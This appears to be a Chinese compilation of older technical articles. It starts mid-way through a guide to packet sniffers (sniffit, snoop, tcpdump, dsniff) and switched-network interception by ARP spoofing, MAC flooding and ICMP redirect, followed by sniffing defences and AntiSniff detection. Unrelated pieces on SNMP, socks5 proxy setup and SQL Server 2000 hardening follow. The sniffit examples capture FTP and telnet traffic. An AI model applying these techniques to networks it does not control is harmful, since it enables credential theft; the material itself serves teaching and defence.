-s 指定sniffer 检查从 发送的数据包。 -t 指定sniffer 检查发送到的数据包。

-i 进入交互模式

-l 设定数据包大小，default是300字节

注：参数可以用@来表示一个IP范围，比如 -t 192.168.@ -t和-s 只适用于TCP/UDP数据包，对于ICMP和IP也进行解释。 但如果只选择了-p参数，则只用于TCP和UDP包。

举例说明:

#sniffit -a -p 21 -t xxx.xxx.xxx.xxx

监听流向机器xxx.xxx.xxx.xxx的21端口(FTP)的信息,并以ASCII显示

#sniffit -d -p 23 -b xxx.xxx.xxx.xxx

监听所有流出或流入机器xxx.xxx.xxx.xxx的23端口(telnet)的信息，并以16进制显示

你可以在这里找到sniffit http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

2. snoop

   snoop默认情况安装在Solaris下，是一个用于显示网络交通的程序，不过SNIFF是把双刃剑，既然管理员 能用他来监视自己的网络，当然一个心怀恶意的入侵者也可以用他来SNIFF自己感兴趣的内容。值得一提的是， SNOOP被发现存在一个缓冲区溢出漏洞，当以导致入侵者以运行snoop(通常为root)的身份远程进入系统。这是题外话，暂且就此打住。

使用方法：

[ -a ] # Listen to packets on audio

[ -d device ] # settable to le?, ie?, bf?, tr?

[ -s snaplen ] # Truncate packets

[ -c count ] # Quit after count packets

[ -P ] # Turn OFF promiscuous mode

[ -D ] # Report dropped packets

[ -S ] # Report packet size

[ -i file ] # Read previously captured packets

[ -o file ] # Capture packets in fi

[ -n file ] # Load addr-to-name table from file

[ -N ] # Create addr-to-name table

[ -t r|a|d ] # Time: Relative, Absolute or Delta

[ -v ] # Verbose packet display

[ -V ] # Show all summary lines

[ -p first[,last] ] # Select packet(s) to display

[ -x offset[,length] ] # Hex dump from offset for length

[ -C ] # Print packet filter code

例如：

#snoop -o saved A B

监听机器A与B的谈话，并把内容存储于文件saved中

3. tcpdump

   tcpdmp也算是一个很有名气的网络监听软件，FREEBSD还把他附带在了系统上，是一个被很多UNIX高手认为是一个专业的网络管理工具。

使用方法:

   tcpdump采用命令行方式，它的命令格式为：

tcpdump [ -adeflnNOpqStvx ][ -c 数量 ][ -F 文件名 ][ -i 网络接口 ][ -r 文件名][ -s snaplen ][ -T 类型 ][ -w 文件名 ][表达式 ]

1. tcpdump的选项介绍

-a 　　　将网络地址和广播地址转变成名字；

-d 　　　将匹配信息包的代码以人们能够理解的汇编格式给出；

-dd 　　 将匹配信息包的代码以c语言程序段的格式给出；

-ddd 　　将匹配信息包的代码以十进制的形式给出；

-e 　　　在输出行打印出数据链路层的头部信息；

-f 　　　将外部的Internet地址以数字的形式打印出来；

-l 　　　使标准输出变为缓冲行形式；

-n 　　　不把网络地址转换成名字；

-t 　　　在输出的每一行不打印时间戳；

-v 　　　输出一个稍微详细的信息，例如在ip包中可以包括ttl和服务类型的

-vv 　　　输出详细的报文信息；

-c 　　　在收到指定的包的数目后，tcpdump就会停止；

-F 　　　从指定的文件中读取表达式,忽略其它的表达式；

-i 　　　指定监听的网络接口；

-r 　　　从指定的文件中读取包(这些包一般通过-w选项产生)

-w 　　　直接将包写入文件中，并不分析和打印出来；

-T 　　　将监听到的包直接解释为指定的类型的报文，常见的类型有rpc和snmp

2. tcpdump的表达式介绍

   表达式是一个正则表达式，tcpdump利用它作为过滤报文的条件，如果一个报文满足表达式的条件，则这 个报文将会被捕获。如果没有给出任何条件，则网络上所有的信息包将会被截获。

   在表达式中一般如下几种类型的关键字，一种是关于类型的关键字，主要包括host，net，port, 例如 host 210.27.48.2，指明 210.27.48.2是一台主机，net 202.0.0.0 指明 202.0.0.0是一个网络地址，port 23 指明端口号是23。如果没有指定类型，缺省的类型是host.

   第二种是确定传输方向的关键字，主要包括src , dst ,dst or src, dst and src ,这些关键字指明了 传输的方向。举例说明，src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0 指明目的 网络地址是202.0.0.0 。如果没有指明方向关键字，则缺省是src or dst关键字。

   第三种是协议的关键字，主要包括fddi,ip ,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤 数据接口网络)上的特定的网络协议，实际上它是"ether"的别名，fddi和ether具有类似的源地址和目的地址， 所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如 果没有指定任何协议，则tcpdump将会监听所有协议的信息包。

   除了这三种类型的关键字之外，其他重要的关键字如下：gateway, broadcast,less,greater,还有三种 逻辑运算，取非运算是 'not ' '! ', 与运算是'and','&&';或运算 是'or' ,'||'。

举例使用:

#tcpdump host AAA.BBB.CCC.DDD

将监听IP地址为AAA.BBB.CCC.DDD的机器的通话

#tcpdump tcp port 23 host AAA.BBB.CCC.DDD

将监听IP地址为AAA.BBB.CCC.DDD的机器的23端口的通话

4. dsniff

   之所以要谈谈dsniff，是因为他不仅仅是一个sniff，在他的整个套件包中，包含了很多其它有用的工具， 如arpspoof，dnsspoof，macof，tcpkill等等，SNIFF的手段更加的多样和复杂化。dsniff是由DugSong开发的 你可以在他的主页上找到这个工具。 目前dsniff支持OpenBSD (i386), Redhat Linux (i386), 和Solaris (sparc). 并且在FreeBSD, Debian Linux, Slackware Linux, AIX, 和HP-UX上也能运转得很好。但是dsniff需要几个其他的第三方软件进行支持，他们分别是，Berkeley DB ，OpenSSL， libpcap， libnet， libnids。如果条件允许的话，你最好能够亲自读一读dsniff的源代码，你可以在 http://naughty.monkey.org/~dugsong/ 找到dsniff。

六 深入sniff

   单纯的sniff的功能始终是局限的，所以在大多数的情况下，sniff往往和其他手段结合起来使用，sniff和spoof已及其他技术手段结合在一起对网络构成的危害是巨大的。单纯的sniff好比缺了一只腿，无法发挥大的作用，例如在sniff原理一节中我们讨论的例子里，我一再的强调我们使用的是一个普通的HUB进行连接是有原因的，如果我们把在图一中的HUB用一个switch代替，那情况就要复杂一些了，如图二所示：

图（二）

   在图二中，我们的机器A、B、C与Switch相连接，而Switch通过路由器Router访问外部网络。我们先来了解Switch的工作原理：

   在我们图一中的 HUB 只是简单地把所接收到的信号通过所有端口（除了信号来的那个口）重复发送出去不同，而图二中的Switch却可以检查每一个收到的数据包，并对数据包进行相应的处理。在Switch内保存着每一个网段上所有节点的物理地址，只允许必要的网络流量通过Switch。举例来说，当Switch接收到一个数据包之后，根据自身保存的网络地址表检查数据包内包含的发送和接收方地址。如果接收方位于发送方网段，该数据包就会被Switch丢弃，不能通过交换机传送到其它的网段；如果接收方和发送方位于两个不同的网段，该数据包就会被Switch转发到目标网段。这样，通过交换机的过滤和转发，可以有效避免网络广播风暴，减少误包和错包的出现。顺便说一句，现在Switch和HUB的价格相去无几，所以hub正逐渐被网络交换机取代。

   现在回到我们的例子中来，在图二中仍然和图一一样，我们假设机器A上的管理员为了维护机器C，使用了一个FTP命令向机器C进行远程登陆，那么在这里，数据是这样走的：首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹，最后送到了物理层，我们的网线上。接下来数据帧送到了Switch上，而Switch检查数据帧中的目的地址，并在他自身保存的网络地址表中知道了他应该把这数据帧发到机器C那里，于是，接下来机器C接收到了从A发来的信息，发现他是发给自己的信息，于是进行分析处理。

   OK，现在我们机器B上的管理员的好奇心只能深深的埋藏在心里了，因为数据包根本就没有经过他，就算他把自己的网卡设置成混杂模式也是有力无处使。 　 在了解在一个Switch环境下原理后，我们结合一些手段去设法sniff，是的，我们可以做到这一点，有许多的手段可以让管理员B满足他的好奇心，在下面我会提出几个办法，当然只是其中的一些办法而已。

1 ARP Spoof

   在基于IP通信的内部网中，我们可以使用 ARP Spoof 的手段，了解什么是ARP Spoof的前提你先要明白一下什么是ARP和RARP协议，什么是MAC地址，什么又是IP地址。ARP协议是地址转换协议，RARP被称为反向地址转换协议,他们负责把IP地址和MAC地址进行相互转换对应。 　 ARP Spoof 攻击的根本原理是因为计算机中维护着一个 ARP 高速缓存，并且这个ARP 高速缓存是随着计算机不断的发出ARP请求和收到ARP响应而不断的更新的，ARP 高速缓存的目的是把机器的IP地址和MAC地址相互映射。你可以使用 arp 命令来查看你自己的 ARP 高速缓存。现在设想一下，一个Switch工作在数据链路层，他根据MAC地址来转发他所接收的数据包，而计算器维护的 ARP 高速缓存却是动态的......你想到什么了吗？

   为了加深理解，现在给我们的机器编上号，机器A：IP地址为 10.0.0.1 ,MAC地址为 20-53-52-43-00-01 ,机器B：IP地址为 10.0.0.2 ,MAC地址为 20-53-52-43-00-02,机器C：IP地址为 10.0.0.3 ,MAC地址为 20-53-52-43-00-03 。 现在机器B上的管理员是个聪明的家伙，他向机器A发出一个 ARP Reply （协议没有规定一定要等ARP Request出现才 能发送ARP Reply，也没有规定一定要发送过ARP Request才能接收ARP Reply），其中的目的IP地址为10.0.0.1，目的MAC地址为 20-53-52-43-00-01 ，而源IP地址为10.0.0.3，源MAC地址为 20-53-52-43-00-02 ，好了，现在机器A更新了他的 ARP 高速缓存，并相信了IP地址为10.0.0.3的机器的MAC地址是 20-53-52-43-00-02 。当机器A上的管理员发出一条FTP命令时---ftp 10.0.0.3，数据包被送到了Switch，Switch查看数据包中的目的地址，发现MAC为 20-53-52-43-00-02 ，于是，他把数据包发到了机器B上。再设想一下，如果不想影响A和C之间的通信该怎么办？ 你可以同时欺骗他们双方，来一个 man-in-middle 。

   当然，在实际的操作中你还需要考虑到一些其他的事，比如某些操作系统在会主动的发送ARP请求包来更新相应的ARP入口等。

2. MAC Flooding

   在上面我们曾经提到过，Switch之所以能够由数据包中目的MAC地址判断出他应该把数据包发送到那一个端口上是根据他本身维护的一张地址表。这张地址表可能是动态的也可能是静态的，这要看Switch的厂商和Switch的型号来定，对于某些Switch来说，他维护的是一张动态的地址表，并且地址表的大小是有上限的，比如　3com Superstack Switch 3300 （3c16981 Hardware v.1 Software v.2.10）　就是这样一种Switch，我们可以通过发送大量错误的地址信息而使SWITCH维护的地址表"溢出"，从而使他变成广播模式来达到我们要 sniff 机器A与机器C之间的通信的目的。

3. Fake the MAC address

   伪造MAC地址也是一个常用的办法，不过这要基于你网络内的Switch是动态更新其地址表，这实际上和我们上面说到的 ARP Spoof 有些类似，只不过现在你是想要Switch相信你，而不是要机器A相信你。因为Switch是动态更新其地址表的，你要做的事情就是告诉Switch：HI,我是机器C。换成技术上的问题你只不过需要向Switch发送伪造过的数据包，其中源MAC地址对应的是机器C的MAC地址，现在Switch就把机器C和你的端口对应起来了。不过其中存在一个问题，现在机器C也会说了：HI，Switch老大，我才是机器C呢！，现在你该怎么办？切，还用问！让他说不了话就可以了，DOS还是其他什么，随便你了......

4. ICMP Router Advertisements

   这主要是由ICMP路由器发现协议(IRDP)的缺陷引起的，在Windows 95、98、2000及SunOS、Solaris 2.6等系统中，都使用了IRDP协议，SunOS系统只在某些特定的情况下使用该协议，而Windows95 ,Windows95b, Windows98, Windows98se, 和 Windows2000都是默认的使用IRDP协议。 IRDP协议的主要内容就是告诉人们谁是路由器，设想一下，一个HACK利用IRDP宣称自己是路由器的情况 会有多么的糟糕！所有相信HACK的请求的机器把他们所有的数据都发送给HACK所控制的机器.........

5. ICMP Redirect

   所谓ICMP重定向，就是指告诉机器向另一个不同的路由发送他的数据包，ICMP重定向通常使用在这样的场合下，假设A与B两台机器分别位于同一个物理网段内的两个逻辑子网内，而A和B都不知道这一点，只有路由器知 道，当A发送给B的数据到达路由器的时候，路由器会向A送一个ICMP重定向包裹，告诉A：HI，别再送数据给我 转交了，你就直接送到B那里就可以了。 设想一下，一个hack完全可以利用这一点，使得A发送给B的数据经过他。

   上面提到的这些方法只不是其中的一些，为了配合sniff能够工作得更有效率，还有其他许多的办法，其实sniff的目的说穿了只有一个，就是抓包，从抓包这个概念上引伸下去，所有为了能够抓到网络上的信息包而采用的技术都可以归入sniff，单纯的sniff是没有什么效率的。你还能想到什么吗？进攻路由器，在路由器上放置sniff......，在系统内核中植入sniff......等等。

七 如何防止SNIFF

   防止sniff最有效的手段就是进行合理的网络分段，并在网络中使用交换机和网桥，在理想的情况下使每一台机器都拥有自己的网络段，当然这会使你的网络建设费用增加很多，所以你可以尽量使相互信任的机器属于同一个网段，使他们互相之间不必担心sniff的存在。并在网段于网段间进行硬件屏障。你也可以使用加密技术对你在网络中传送的敏感数据如户ID或口令，你的银行帐号，商业机密等进行加密，你可以选用ＳＳＨ等加密手段。为了防止ARP欺骗，你可以使用永久的ＡＲＰ缓存条目，反正上面的攻击手段和原理你也看了，你就反过来想想该怎么办好了。不过有盾必有矛，平时的安全意识才是最重要的。

  （注：以下关于AntiSniff的介绍取至backend翻译整理的L0pht AntiSniff 技术文档一文）

   当你做做层层保护后，你还是怀疑自己的网络上存在sniff该怎么办？ L0pht 小组为了探测sniff专门发布了一个软件　AntiSniff，当然这个软件不是免费的：）,AntiSniff 工具用于检测局域网中是否有机器处于混杂模式，AntiSniff Version 1.x被设计为运行在以太网的Windows系统中，提供了简单易用的图形用户界面，AntiSniff Version 1.x　主要工作在非交换环境下的本地网段中，如果运行在交换环境下其功能将大打折扣。AntiSniff Ver 2.0 将不但能在本地网段中，而且能够穿过路由器和交换机进行工作。

◆ 操作系统类特殊测试

Linux 内核测试

   旧版本的Linux内核存在一个奇怪的特性，可被用于确定机器是否处于混杂模式。 在正常情形下，网卡会过滤和丢弃那些目标地址不是本机MAC地址或以太网广播地址 的数据包。如果数据包的目标地址为本机以太网地址或广播地址，将传送给内核进行 处理，因为其认为该以太网数据帧包含了本机的正确IP地址或该网络广播地址。如果 网卡处于混杂模式，则每个数据包都会传递给操作系统进行分析或处理。许多版本的 Linux内核只检查数据包中的IP地址以确定是否存放到IP堆栈中进行处理。为了利用 这一点，AntiSniff构造一个无效以太网地址而IP地址有效的数据包。对于使用了这 些内核版本和处于混杂模式的Linux系统，由于只检查到IP地址有效而将其接收并存 放到相应堆栈中。通过在这个伪造的以太网数据帧中构造一个ICMP ECHO请求，这些 系统会返回响应包(如果处于混杂模式)或忽略(如果不处于混杂模式)，从而暴露其工 作模式。当伪造的以太网数据帧中的IP地址设置为网络广播地址时这个测试非常有效。 AntiSniff的使用者可以修改伪造的以太网址，缺省值为66:66:66:66:66:66。

NetBSD

   许多NetBSD内核具有与上述Linux内核相同的特性，不过伪造以太网数据帧中的 IP地址必须设为广播地址。

Windows 95/98/NT

   根据对网络驱动程序头文件的了解，可以知道当处于混杂模式时，Microsoft的 操作系统会确切地检查每个包的以太网地址。如果与网卡的以太网地址匹配，将作为 目标IP地址为本机的数据包存放到相应堆栈中处理。可以被利用的一点是系统对以太 网广播包的分析。在正常情形下，例如机器工作在非混杂模式下，网卡只向系统内核 传输那些目标以太网址与其匹配或为以太网广播地址(ff:ff:ff:ff:ff:ff)的数据包。 如果机器处于混杂模式下，网络驱动程序仍然会检查每个数据包的以太网地址，但检 查是否为广播包时却只检查头8位地址是否为0xff。因此，为了使处于混杂模式的系 统返回响应信息，AntiSniff构造以太网地址为ff:00:00:00:00:00且含有正确目标IP 地址的数据包，当Microsoft的操作系统接收到这个数据包时，将根据网络驱动程序 检查到的细微差别而返回响应包(如果处于混杂模式)或丢弃这个数据包(如果处于非 混杂模式)。

   需要注意的是，这个检查与使用的网络驱动程序有关。Microsoft缺省的网络驱 动程序具有以上特性，大多数的厂商为了保持兼容性也继承了这些特性。不过有些网 卡会在其硬件层中检查以太网地址的头8位，所以可能会无论系统真正的状态是什么 都总是返回正值。关于这类网卡和驱动程序请访问AntiSniff Ver 1.x的web网站。

◆ DNS 测试

   进行DNS测试的原因是许多攻击者使用的网络数据收集工具都对IP地址进行反向 DNS解析，因为他们希望根据域名寻找更有价值的主机。例如joepc1.foo.bar对攻击 者的吸引力往往不如payroll.foo.bar这种商业域名。此时这些工具就由被动型网络 工具变为主动型网络工具了。而不监听网络通讯的机器不会试图反向解析数据包中的 IP地址。为了利用这一点，AntiSniff Ver 1.x使自身处于混杂模式下，向网络发送 虚假目标IP地址的数据包，然后监听是否有机器发送该虚假目标IP地址的反向DNS查 询。伪造数据包的以太网地址、检查目标、虚假目标IP地址可由用户定制。

◆ 网络和主机响应时间测试

   这种测试已被证明是最有效的。它能够发现网络中处于混杂模式的机器，而不管 其操作系统是什么。警告，这个测试会在很短的时间内产生巨大的网络通讯流量。进 行这种测试的理由是不处于混杂模式的网卡提供了一定的硬件底层过滤机制。也就是 说，目标地址非本地(广播地址除外)的数据包将被网卡的固件丢弃。在这种情况下， 骤然增加、但目标地址不是本地的网络通讯流量对操作系统的影响只会很小。而处于 混杂模式下的机器则缺乏此类底层的过滤，骤然增加、但目标地址不是本地的网络通 讯流量会对该机器造成较明显的影响(不同的操作系统/内核/用户方式会有不同)。这 些变化可以通过网络通讯流量工具监视到。

   根据以上要点，AntiSniff Ver 1.x 首先利用ICMP ECHO请求及响应计算出需要 检测机器的响应时间基准和平均值。在得到这个数据后，立刻向本地网络发送大量的 伪造数据包。与此同时再次发送测试数据包以确定平均响应时间的变化值。非混杂模 式的机器的响应时间变化量会很小，而混杂模式的机器的响应时间变化量则通常会有 1-4个数量级。为了对付攻击者和入侵者们最常用的多种工具，AntiSniff进行了三种 网络饱和度测试：SIXTYSIX、TCPSYN和THREEWAY。

        * SIXTYSIX测试构造的数据包数据全为0x66。这些数据包不会被非混杂模式的机 器接收，同时方便使用常见的网络监听/分析工具(如tcpdump和snoop等)记录 和捕获。

        * TCPSYN测试构造的数据包包含有效的TCP头和IP头，同时TCP标志域的SYN位被 设置。

       * THREEWAY测试采取的原理基本上与TCPSYN一样，但更复杂些。在这种测试中两 个实际不存在的机器间多次建立完整的TCP三方握手通讯。它能够更好地欺骗 那些骇客工具。

   AntiSniff Ver 1.x 中能够通过以上三种数据包测试发现正处于混杂模式机器的 测试方法最好周期性地进行和与以前的数据比较。响应时间测试第一次运行的数据还 能够用于分析一个大型网络在flooding和非flooding状态时的性能，并帮助工程师调 整网络性能。一旦确信本地网络已运行在正常(没有未经允许而处于混杂模式的机器) 状态，就应该设置AntiSniff工具周期性运行。只要发现某台机器性能(响应时间)发 生数量级的变化，一般就能确定其正处于混杂模式。这种方法不需比较两台独立系统 间的性能数据，而只需比较同一台机器不同时候的数据就能确定该机器是否处于混杂 模式。

八　结尾

   本文旨在向你描述sniff的基本原理，为的是要使你不仅仅能够了解什么是sniff而已，而是要明白sniff运转的根本原理，文章参考了大量的资料，牵涉到直接引用的已经注明出处和作者，非常的感谢他们。在此还要感谢 W.Richhard.Stevens,虽然其人已逝，但留下的TCP/IP三卷本真是造福了大家，文章的很多地方也是拜他老人家指点迷经才得以感悟。最后还要感谢雀巢咖啡，让我得以熬夜把这篇文章写完，呵呵，谢谢大家。


SNMP

网络管理的历史
美国国防部设计了世界上头几个包交换网之一的ARPANET，在70年代，TCP/IP协议族正式被定为军方通信标准，随着此协议的广泛使用，网络管理成了一件大事。在80年代未和90年代初，网络迅速发展，许多子网数目的增多使监视网络活动成为一种必须。

在网络管理的初期，对网络的管理停留在使用ICMP和PING的基础上，但是随着网络内主机数据的不断增多，这种简单的工具已经不可能完成网络管理的工作了。

SNMP历史
随着网络数目与网络内主机数目的日益增多，单纯依靠一些网络专业进行网络管理已经不可能了，必须有一种通行的网络管理标准以及相应的管理工具使普通人也能够管理网络。第一个相关的协议是SGMP，它提供了一种直接监视网关的方法，也因此成了一种通用的网络管理工具。下来，有三种可供选择的管理工具：HEMS，SNMP和建立在TCP/IP基础上的CMIP（CMOT），因为需要使用ISO/OSI模型进行网络管理，SNMP首选CMOT作为管理工具。基本的SNMP已经被广泛使用了，所有的网络产品都提供对SNMP的支持，新开发的具有远程管理能力的SNMP是RMON，它使管理人员可以将整个子网进行管理，而不是对整个子网内的设备进行管理。

一些定义
SNMP，Simple Network Management Protocol：简单网络管理协议
它是一个标准的用于管理IP网络上结点的协议。此协议包括了监视和控制变量集以及用于监视设备的两个数据格式：SMI和MIB。
MIB，Management Information Base：管理信息库
由网络管理协议访问的管理对象数据库，它包括SNMP可以通过网络设备的SNMP管理代理进行设置的变量。
SMI，Structure of Management Information：管理信息结构
用于定义通过网络管理协议可访问的对象的规则。SMI定义在MIB中使用的数据类型及网络资源在MIB中的名称或表示。
ASN.1，Abstract Syntax Notation One：抽象语法定义
用于定义语法的正式语言，在SNMP中它用于定义SNMP协议数据单元和对象的格式。
PDU，Protocol Data Unit：协议数据单元
在网络中传送的数据包。
BER，basic encoding rules：基本编码规则
由CCITT (X.209)和ISO (ISO 8825)指定的编码规则，它描述了如何将ASN.1类型表示为字符串。
SNMP介绍
使用SNMP进行网络管理需要下面几个重要部分：管理基站，管理代理，管理信息库和网络管理工具。管理基站通常是一个独立的设备，它用作网络管理者进行网络管理的用户接口。基站上必须装备有管理软件，管理员可以使用的用户接口和从MIB取得信息的数据库，同时为了进行网络管理它应该具备将管理命令发出基站的能力。 管理代理是一种网络设备，如主机，网桥，路由器和集线器等，这些设备都必须能够接收管理基站发来的信息，它们的状态也必须可以由管理基站监视。管理代理响应基站的请求进行相应的操作，也可以在没有请求的情况下向基站发送信息。

MIB是对象的集合，它代表网络中可以管理的资源和设备。每个对象基本上是一个数据变量，它代表被管理的对象的一方面的信息。

最后一个方面是管理协议，也就是SNMP，SNMP的基本功能是：取得，设置和接收代理发送的意外信息。取得指的是基站发送请求，代理根据这个请求回送相应的数据，设置是基站设置管理对象（也就是代理）的值，接收收代理发送的意外信息是指代理可以在基站未请求的状态下向基站报告发生的意外情况。

MIB和对象
MIB包括了对象列表，这些对象与指示对象类型的OBJECT IDENTIFIER相关。MIB的结构是树形结构，有两种方式可以访问MIB中对象的值，一种是快速访问，另一种慢速访问，快速访问时只用输入一些数据，慢速访问时要加上其它信息。

SNMP MIB是对象的定义是十分严格的，定义指定了对象的数据类型，允许的形式，取值范围和与其它MIB对象的关系。ASN.1定义方法用来定义每个对象，同时也定义整个MIB结构。

有两种不同对象数据结构：通用类型的专用类型，通用类型指的是整数，字符串，空值，对象标识，序列和序列号；专用类型是指网络地址，IP地址，记数器，标准等。

若要定义对象自身，必须使用ASN.1。下面是一个基本的定义结构：

<模块名> DEFINITIONS ::=
BEGIN
EXPORTS
IMPORTS
AssignmentList
End
软件
应用程序可以显示SNMP数据，NAS公司开发的应用程序HNMS就是这方面的一个比较好的工具。详细情况请参阅：http://www.nas.nasa.gov/Groups/LAN/Trouble/HNMS.html

如果不想花钱可以在下面一些地方取得免费的管理软件

ftp://ftp.ida.liu.se/pub/isode-snmpV2/isode-8.tar.gz
ftp://allspice.lcs.mit.edu/pub/snmp/
ftp://ftp.net.cmu.edu/pub/snmp-dist/cmu-snmp2.1.2.tar
ftp://ftp.cs.utwente.nl:/pub/src/snmp
ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp.tar.gz
http://www.cs.tu-bs.de/ibr/projects/nm/tkined/
http://www.cs.tu-bs.de/ibr/projects/nm/scotty/
体系结构
所有在应用层下的TCP/IP层都有它自己的SNMP结构
硬件制造商可以在它的产品中实现了相应的管理结构
从图上可以看到有许多MIB，但服务器只有一台

服务器处理过程
基站发送的请求仅有两种类型，取值和赋值
一个请求可以进行多个操作

--------------------------------------------------------------------------------

ASN.1
ASN.1是用于定义MIB对象的高层计算机语言
SNMP使用ASN.1子集的基本类型：整数，字符串，对象标识符，序列和空值
BER用于将ASN.1编译为SNMP可以传送的字符串，在SNMP代理间传送。对于变量ASN.1使用词典顺序进行有序排列，并定义了层次状态的名字空间
词典式排序可以使服务器不需要知道被请求的变量的大小而直接响应请求。
所有的变量都有后后缀iso.org.dod.internet.mgmt.mib或1.3.6.1.2.1

PDU
客户可以发送以下三个基本命令：设置，读取和取下一个
设置和读取指令使服务器进行直接变量映射
取下一个指令指定要取的变量名，服务器根据变量当前所排的字典序返回指定变量名下一个变量的值，在不知道表大小的时候这条指令十分有用
在层次的树状结构中可以一定前进一个结点，当然这样会因为要多次发送请求和相应于请求的数据而对网络造成不必要的压力，也可以在树状结构中一次取得多个点的数据
如果发生意外情况，客户会向服务器的162端口发送一个消息，告知服务器指定的变量值发生了变化。通常由服务器请求而获得的数据由服务器的161端口接收。
Hash表设计
Hash表用于快速查找变量，Hash表是一个指针数组，每个数组指向一组具有相同Hash值的结点。
如果需要查找MIB变量的值，服务器根据变量名的数字表示经过Hash函数计算后得到数组索引值，通过查找数组相应元素指向的结点可以找到需要的数据
而在MIB中的每个元素除了使用字典序进行排序之外，还拥有一个指向下一个元素的指针，这个指针在执行取下一个指令时特别有用，在其中还包括了ASN.1名称，和能够作于此变量的所有函数的地址以及内部变量地址
在服务器启动时初始化这些变量的值

SNMP总结
SNMP是一种易于实现的基本的网络管理工具，它能够满足短期的管理要求。因为基于OSI的管理协议现在进展缓慢，所以它起到了一个重要的补充作用。

SNMP协议提供了用于定义网络信息和框架和用于交换信息的协议标准。SNMP模型引入了管理器和代理的概念，管理器指的是以人类管理员身份负责所有网络（或部分网络）的软件。代理指的被管理设备中的软件，它用以完成管理器所需要进行的局部管理和应急通知管理器的功能。


socks5 proxy简介

发信人: lenx (冷·枫), 信区: linux
标 题: [技术] socks5 proxy的安装和使用
发信站: BBS 曙光站 (Fri Jan 2 15:39:43 1998)

socks5 proxy简介
socsk5的主页在http://www.socks.nec.com/socks5.html
socks5是一种透明的proxy协议, 而且很好的解决了认证,保密,以及proxy接力等问题
netscape, ie等可以直接使用这种proxy, 而且可以使用socsk5的client软件使那些
不直接支持socsk5 proxy的internet软件的通过proxy访问internet. 更重要的是,
socks5支持udp协议的proxy, 从而成为很多firewall后面的人使用ICQ不可缺少的东西.

socsk5 server on linux安装简介
抓回socsk5-v1.0r4.tar.gz ( sepc/pub/linux/collect/network/socks )
编译并安装, 一般步骤是:
./configure
make
make install
然后在/etc/rc.d/rc.local里加上相应的运行命令就可以了, 一般不用加什么
特殊参数. 缺省的是加上
/usr/local/bin/socks5

socks5 server端配置
配置文件缺省是/etc/socks5.conf
这里只介绍一种最简单的情况,proxy没有其他的认证,只是根据ip范围来确认允许
使用与否. 比如只允许111.222.111.xxx 和 111.333.111.23使用此proxy, 那么应该
这么写/etc/socks5.conf:
permit - - 111.333.111.23 - - -
permit - - 111.222.111.0/255.255.255.0 - - -
其中后面一行也可以写成:
permit - - 111.222.111. - - -

socsk5 client端配置
95/nt下
netscape, ie, icq 等都可以直接使用socks5 proxy, 但如果要使用wsftp等
就得需要sockscap32, 在sepc/pub/linux/collect/network/socks下抓回sc32r102.exe
安装即可. 使用很简单, 这里不多加描述.
netscape和ie的proxy设置里, 最好其他的都不要填,只在socks栏填上相应的ip和port
(port缺省是1080)

linux下
socks5 server包里带了相应的client程序, 有telnet,ftp,ping,finger等, 命令名
分别是rtelnet, rftp, rping rfinger等等, 可以用man socks5_clients查看, 对于
普通的不直接支持socks5 proxy的程序, 也有和sockscap类似的东西, 叫做runsocks
使用也非常简单, 比如要通过proxy来上ncic bbs, 那么用
runsocks telnet 159.226.43.21
就可以了. 需要注意的是还得写一下/etc/libsocks5.conf, 最简单的情况:
# 走111.222.111.1的socks5 proxy
socks5 - - - - 111.222.111.1


SQL Server 2000的安全配置

数据库是电子商务、金融以及ERP系统的基础，通常都保存着重要的商业伙伴和客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中，他们用这些数据库保存一些个人资料，比如员工薪水、个人资料等等。数据库服务器还掌握着敏感的金融数据。包括交易记录、商业事务和帐号数据，战略上的或者专业的信息，比如专利和工程数据，甚至市场计划等等应该保护起来防止竞争者和其他非法者获取的资料。数据完整性和合法存取会受到很多方面的安全威胁，包括密码策略、系统后门、数据库操作以及本身的安全方案。但是数据库通常没有象操作系统和网络这样在安全性上受到重视。

微软的SQL Server是一种广泛使用的数据库，很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的，但是数据库的安全性还没有被人们更系统的安全性等同起来，多数管理员认为只要把网络和操作系统的安全搞好了，那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少，而且一些安全公司也忽略数据库安全，这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果，而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库，这就表示任何人都能够用分析工具试图连接到数据库上，从而绕过操作系统的安全机制，进而闯入系统、破坏和窃取数据资料，甚至破坏整个系统。

这里，我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。

在进行SQL Server 2000数据库的安全配置之前，首先你必须对操作系统进行安全配置，保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件（程序）进行必要的安全审核，比如对ASP、PHP等脚本，这是很多基于数据库的WEB应用常出现的安全隐患，对于脚本主要是一个过滤问题，需要过滤一些类似 , ‘ ; @ / 等字符，防止破坏者构造恶意的SQL语句。接着，安装SQL Server2000后请打上补丁sp1以及最新的sp2。
下载地址是：http://www.microsoft.com/sql/downloads/2000/sp1.asp　和　http://www.microsoft.com/sql/downloads/2000/sp2.asp

在做完上面三步基础之后，我们再来讨论SQL Server的安全配置。

1、使用安全的密码策略
我们把密码策略摆在所有安全配置的第一步，请注意，很多数据库帐号的密码过于简单，这跟系统密码过于简单是一个道理。对于sa更应该注意，同时不要让sa帐号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步！
SQL Server2000安装的时候，如果是使用混合模式，那么就需要输入sa的密码，除非你确认必须使用空密码。这比以前的版本有所改进。
同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句：
Use master
Select name,Password from syslogins where password is null

2、使用安全的帐号策略。
